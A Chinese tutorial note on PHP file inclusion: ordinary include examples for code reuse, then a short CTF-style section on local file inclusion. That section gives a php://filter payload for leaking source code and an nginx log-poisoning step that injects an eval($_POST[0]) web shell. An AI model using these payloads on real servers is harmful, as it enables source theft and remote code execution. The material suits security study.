文件包含

文件包含

概念

在一个PHP脚本中,去将另外一个文件(PHP)包含进来,去合作完成一件事情。

作用

要么使用被包含文件中的内容,实现代码的共享(重用):向上包含(索要)向上包含:在当前脚本要用某个代码之前包含别的文件

要么自己有东西可以给别的文件使用,实现代码的共享(重用):向下包含(给予)向下包含:在自己有某个东西的时候,需要别的脚本来显示(自己代码写完之后包含其他文件)

最大的作用:分工协作,每个脚本做的事情不一样,因此可以使用协作方式,让多个脚本共同完成一件事情。

形式

向上包含

先包含文件,后使用文件中的内容

被包含文件代码

<h3>文件包含——被包含文件</h3>
<?php
    header("Content-type:text/html;charset=gbk");
    $a = 2;$b = 4;
    define("xiaofeng",'cool');

包含文件代码

<h3>文件包含——包含文件</h3>
<?php
    header("Content-type:text/html;charset=gbk");
    include "56.php";//包含文件56.php
    echo $a,"<hr>",$b,"<hr>",xiaofeng;

image-20230228210246980

向下包含

先准备内容,然后包含另外文件,在另外的文件中,使用当前的内容。

被包含文件代码

<h3>文件包含——被包含文件</h3>
<?php
    header("Content-type:text/html;charset=gbk");
    echo $a,"<hr>",$b,"<hr>",xiaofeng;//输出数据

包含文件代码

<h3>文件包含——包含文件</h3>
<?php
    header("Content-type:text/html;charset=gbk");
    $a = 2;$b = 4;
    define("xiaofeng",'cool');//定义数据
    include_once '59.php';//包含数据为了显示以上的内容

image-20230228210401990

题目

看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。

file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
payload:
?file=php://filter/convert.base64-encode/resource=flag.php

nginx

包含日志文件 进行getshell 日志文件路径: 
    ?file=/var/log/nginx/access.log

<?php echo 123;phpinfo();eval($_POST[0]);?>
上一篇
下一篇